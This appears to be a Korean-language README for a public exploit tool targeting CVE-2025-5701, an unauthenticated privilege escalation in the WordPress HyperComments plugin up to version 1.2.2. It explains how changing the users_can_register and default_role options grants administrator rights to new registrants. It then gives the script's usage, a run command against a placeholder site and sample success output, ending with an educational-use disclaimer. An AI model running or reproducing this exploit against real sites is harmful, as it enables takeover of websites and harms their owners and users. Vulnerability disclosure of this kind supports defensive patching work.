nxploited/cve-2025-5701WordPress HyperComments 플러그인 <= 1.2.2는 권한 상승(Privilege Escalation)에 취약합니다.
심각도: CRITICAL (CVSS 9.8)
영향을 받는 플러그인: WordPress용 HyperComments
영향을 받는 버전: ≤ 1.2.2
WordPress용 HyperComments 플러그인은 hc_request_handler 함수의 권한 검사 누락으로 인해 WordPress 옵션을 무단으로 수정할 수 있는 취약점이 있습니다. 이를 통해 인증되지 않은 공격자는 임의의 WordPress 옵션을 업데이트할 수 있습니다. 예를 들면 다음과 같습니다:
users_can_register)default_role)이를 함께 조합하면 공격자는 등록을 활성화하고 새로 등록되는 모든 사용자에게 자동으로 관리자(Administrator) 역할이 부여되도록 할 수 있습니다.
CVSS v3.1: 9.8 CRITICAL
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)
usage: CVE-2025-5701.py [-h] -u URL
CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target base URL (e.g., http://target-site.com)
python3 CVE-2025-5701.py -u http://target-site.com
CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)
[+] Target is vulnerable (version: 1.2.2) - proceeding with exploitation.
[+] Exploit endpoint is accessible.
[+] Server response: {"result":"success"}
[+] Registration is now enabled. New users will be assigned administrator role.
[+] Register here: http://target-site.com/wp-login.php?action=register
Exploit by: Khaled Alenazi (Nxploited)
이 스크립트는 교육 목적으로만 제공됩니다. 허가 없이 시스템에 무단 접근하는 것은 불법적이고 비윤리적입니다. 통제된 환경 또는 명시적 승인을 받은 경우에만 사용하십시오.
Nxploited (Khaled_alenazi)